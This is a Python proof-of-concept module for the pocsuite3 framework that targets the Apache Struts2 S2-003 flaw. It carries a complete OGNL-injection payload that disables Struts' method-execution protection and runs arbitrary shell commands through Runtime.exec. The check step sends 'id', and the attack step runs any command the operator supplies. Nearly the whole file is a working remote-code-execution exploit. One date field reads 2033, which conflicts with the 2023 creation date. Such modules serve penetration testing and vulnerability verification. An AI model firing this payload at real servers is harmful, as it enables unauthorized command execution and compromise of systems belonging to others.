from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2033-11-15'
    createDate = '2023-11-15'
    updateDate = '2023-11-15'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-003']
    name = 'Apache Struts2 s2-003'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - Struts 2.1.8.1'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''Struts 2.0.0 - Struts 2.1.8.1'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('', description="可执行的shell命令")
        return o

    def _check(self):
        result = {}
        exec_payload = r"(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))"  # noqa: E501
        paylaod = exec_payload.format(cmd=quote("id"))
        r = requests.get(self.url + "?" + paylaod)
        if "groups=" in r.text:
            result["VerifyInfo"] = {
                "URL": self.url,
                "result": r.text.replace("\x00", "").encode()
            }
            return result
        return False

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _attack(self):
        p = self._check()
        result = {}
        if p:
            cmd = self.get_option("command")
            exec_payload = r"(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))"  # noqa: E501
            payload = exec_payload.format(cmd=quote(cmd))
            r = requests.get(self.url + "?" + payload)
            if r.text:
                result["VerifyInfo"] = {
                    "URL": self.url,
                    "PAYLOAD": r.text.replace("\x00", "").encode()
                }
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
